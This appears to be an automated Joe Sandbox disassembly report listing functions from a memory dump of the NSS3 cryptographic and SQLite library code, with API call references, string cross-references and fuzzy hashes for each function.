Part of subcall function 6C6187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C60EF74,00000000), ref: 6C6187FD
Part of subcall function 6C6187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C61884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C60F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C60F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C60F374
PL_strcasecmp.NSS3(6C752FD4,?), ref: 6C60F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C60F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C60F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C60F67D
CERT_DestroyName.NSS3(?), ref: 6C60F68B

Part of subcall function 6C618320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C618338
Part of subcall function 6C618320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C618364
Part of subcall function 6C618320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C61838E
Part of subcall function 6C618320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6183A5
Part of subcall function 6C618320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6183E3

Part of subcall function 6C6184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6184D9
Part of subcall function 6C6184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C618528

Part of subcall function 6C618900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C618955

Strings

*, xrefs: 6C60F3C6
oid., xrefs: 6C60F2CF
", xrefs: 6C60F21B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 6e18500d378b19ea15af6dd36c73d05ad5e7a32e2708905e38e6c617040f0471
Instruction ID: f888f3fc4c1b199192311c7bfc071a6025d530cf23d59d0668243f1b5afdbaf8
Opcode Fuzzy Hash: 6e18500d378b19ea15af6dd36c73d05ad5e7a32e2708905e38e6c617040f0471
Instruction Fuzzy Hash: F322277170C3514BD718CE68C6903AAB7E6AB8531CF184A2EE4D5A7B91E7319C05C78F

Function 6C640570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6C6405E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C64061A
PK11_PubDeriveWithKDF.NSS3 ref: 6C640712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C640740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C640760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C6407AE
PK11_FreeSymKey.NSS3(?), ref: 6C6407BC
PK11_FreeSymKey.NSS3(?), ref: 6C6407D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6407DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6407EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6C6407F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C64082F
memcpy.VCRUNTIME140(?,?,?), ref: 6C6408A9
SECITEM_DupItem_Util.NSS3(?), ref: 6C6408D0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: 12fd20f0979a30c1544c2a0a461706488850d3762bc608fc1c2f927638e072b2
Instruction ID: 18b1ef089bf4e8b071266a699a530fa9d82740108336e9bc7733cc83f28635fb
Opcode Fuzzy Hash: 12fd20f0979a30c1544c2a0a461706488850d3762bc608fc1c2f927638e072b2
Instruction Fuzzy Hash: 8991BFB1A083409FEB00DF25C944B5B77E1AF95318F14CA2CE9998B791EB31D854CB8A

Function 6C67EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C67DAE2,?), ref: 6C67C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C67F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C74218C), ref: 6C67F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C67F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C67F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C67F210

Part of subcall function 6C6252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C67F1E9,?,00000000,?,?), ref: 6C6252F5
Part of subcall function 6C6252D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C62530F
Part of subcall function 6C6252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C625326
Part of subcall function 6C6252D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C67F1E9,?,00000000,?,?), ref: 6C625340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67F227

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C67F23E

Part of subcall function 6C66BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C61E708,00000000,00000000,00000004,00000000), ref: 6C66BE6A
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?), ref: 6C66BE7E
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C66BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C67F3A8

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C67F3B3

Part of subcall function 6C622D20: PK11_DestroyObject.NSS3(?,?), ref: 6C622D3C
Part of subcall function 6C622D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C622D5F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: c46a01c9234aa0a881b677a06b6aab8443a13c1113e7de02e551b5489975f1f6
Instruction ID: 97efaf29a1089877eb63b7b89996fac22f523170837e6b14ecf4edb73e14ca0e
Opcode Fuzzy Hash: c46a01c9234aa0a881b677a06b6aab8443a13c1113e7de02e551b5489975f1f6
Instruction Fuzzy Hash: 5DD1B475E016059FDB20CFA9D880E9EB7F5FF48318F148829D915A7B11EB31E805CBA9

Function 6C65A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65A9CA

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C770B04,?), ref: 6C65A9F7

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C65AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C65AA33
PK11_GetInternalKeySlot.NSS3 ref: 6C65AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C65AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C65AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C65AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C65AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C65AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C65AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C65ABDC
PK11_FreeSymKey.NSS3(?), ref: 6C65ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65ABF7

Part of subcall function 6C65AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C65AB3E,?,?,?), ref: 6C65AC35
Part of subcall function 6C65AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AB3E,?,?,?), ref: 6C65AC55
Part of subcall function 6C65AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C65AB3E,?,?), ref: 6C65AC70
Part of subcall function 6C65AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C65AC92
Part of subcall function 6C65AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C65AB3E), ref: 6C65ACD7

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: b528002c32db8dbfda67552e605d9e0bc28be663a0291a57f48ff37629c2b7d4
Instruction ID: c0d2ce75ce64fd93b7845e7a91b790fc597f14b08f75dd6d2b14d8295504c6da
Opcode Fuzzy Hash: b528002c32db8dbfda67552e605d9e0bc28be663a0291a57f48ff37629c2b7d4
Instruction Fuzzy Hash: 43711475D083019BD700CF249C40BABB7E5AF85358F604A29FC6897742EB31D968C7EA

Function 6C59ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C59EF98

Strings

%s at line %d of [%.10s], xrefs: 6C59F492
database corruption, xrefs: 6C59F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59F483

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 31a380a66381bbd91aff1e9d75048485f24390dcdccf273d9f880890470d72dc
Instruction ID: 7b0eff145edf92bd7253117d83fece317cd7355351d4a844a7d4fb2ab847b0b3
Opcode Fuzzy Hash: 31a380a66381bbd91aff1e9d75048485f24390dcdccf273d9f880890470d72dc
Instruction Fuzzy Hash: A062EF70A04285CFDB04CF65CC84B9ABBB1BF45318F1846DDE8465BB92D775E886CB90

Function 6C5AAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31,?,?,?,?,?,?,?), ref: 6C5AB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31), ref: 6C5AB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31), ref: 6C5AB0A2
CloseHandle.KERNEL32(?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31,?,?,?,?,?,?,?,?,?), ref: 6C5AB100
sqlite3_free.NSS3(?,?,00000002,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31,?,?,?,?,?,?,?), ref: 6C5AB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31), ref: 6C5AB12D

Part of subcall function 6C599EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5AC6FD,?,?,?,?,6C5FF965,00000000), ref: 6C599F0E
Part of subcall function 6C599EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C5FF965,00000000), ref: 6C599F5D

Strings

`rl, xrefs: 6C5AB0DF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `rl
API String ID: 3155957115-3257465727
Opcode ID: fa8273a5c6aa4c4ea392d131e2ea7256a8631f3188bcb29c43e897f8320b4c0f
Instruction ID: 0df2c72365ff1a83fbbebf446d5d381818cd626483367275736e30399be369b2
Opcode Fuzzy Hash: fa8273a5c6aa4c4ea392d131e2ea7256a8631f3188bcb29c43e897f8320b4c0f
Instruction Fuzzy Hash: F991BFB4A04209CFDB05DFA6CC84A7EB7B1BF49304F144A2DE45697A50E731E846CBA1

Function 6C640EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C640F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C640FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C641006
PK11_FreeSymKey.NSS3(?), ref: 6C64101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C641033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C64103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C641048
memcpy.VCRUNTIME140(?,?,?), ref: 6C64108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6410BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6410D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C64112E

Part of subcall function 6C641570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6408C4,?,?), ref: 6C6415B8
Part of subcall function 6C641570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6408C4,?,?), ref: 6C6415C1
Part of subcall function 6C641570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C64162E
Part of subcall function 6C641570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C641637

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 0ac39275cec5c2f583217dbee689296fa3ef95cfb211ec4ab49d3e4195dc6728
Instruction ID: cd31fef7ac5594fbbfb550d732a8cd8b84b4d396d8de148bc6a9f6a4f201320d
Opcode Fuzzy Hash: 0ac39275cec5c2f583217dbee689296fa3ef95cfb211ec4ab49d3e4195dc6728
Instruction Fuzzy Hash: F171E4B1A00205CFDB00CFA5CD84AAABBB5BF44318F14C629D91997711EB31D964CB89

Function 6C5A0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5A103E
EnterCriticalSection.KERNEL32(?), ref: 6C5A1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5A1190
sqlite3_free.NSS3(00000000), ref: 6C5A1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5A126E
sqlite3_free.NSS3(?), ref: 6C5A127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5A1267
Prl, xrefs: 6C5A109E
winAccess, xrefs: 6C5A129B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Prl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2345121856
Opcode ID: 2053e319e9912b49eb0787f9b0abb5312394d312fbefd49322e4cf21c34490e6
Instruction ID: 2e46e61b5625431d7b7eca0fadc96e3084547e9877586ce1271b1c558e866c02
Opcode Fuzzy Hash: 2053e319e9912b49eb0787f9b0abb5312394d312fbefd49322e4cf21c34490e6
Instruction Fuzzy Hash: 8171E331704319DBEB049BA7DC89A6F33B5FF86314F144639E9158BA90DB30D906CBA2

Function 6C666C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C3F

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C60
PR_ExplodeTime.NSS3(00000000,6C611C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C94

Strings

gfff, xrefs: 6C666CFD
gfff, xrefs: 6C666CF5
gfff, xrefs: 6C666D30
gfff, xrefs: 6C666D9C
gfff, xrefs: 6C666D66

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: e2e5b14d9ebd84595d3c89ef1aae24a00e97731c95ecb9d4d5e9f577c7143529
Instruction ID: 140255b47577e2ec93fba3cf2f6cb86a9c4681cc2f51079923edf319a2db0933
Opcode Fuzzy Hash: e2e5b14d9ebd84595d3c89ef1aae24a00e97731c95ecb9d4d5e9f577c7143529
Instruction Fuzzy Hash: EF514A72B016494FC71CCDADDC526DABBDAABE4310F48C23AE442DBB81D638E906C751

Function 6C6E0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6E1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6E10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E1353

Strings

'%.*q', xrefs: 6C6E1217, 6C6E1292
NULL, xrefs: 6C6E119E
%lld, xrefs: 6C6E114B
-- , xrefs: 6C6E0FF5
zeroblob(%d), xrefs: 6C6E1223
$, xrefs: 6C6E12A0
%02x, xrefs: 6C6E12F6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 6039e93ce1138bea8c499ffe3227ffce330b3142bb1b441475d18d316f33616f
Instruction ID: a3641569cab367ddffad72f26e4066af05995968e01da459d03f0f4a53eb932c
Opcode Fuzzy Hash: 6039e93ce1138bea8c499ffe3227ffce330b3142bb1b441475d18d316f33616f
Instruction Fuzzy Hash: 65E1BF71A0D340DFD714CF14C880AABBBF1AF8A348F14892EE99587B52E771E845DB46

Function 6C6E8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E9209

Strings

UUUU, xrefs: 6C6E9255
3333, xrefs: 6C6E925E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

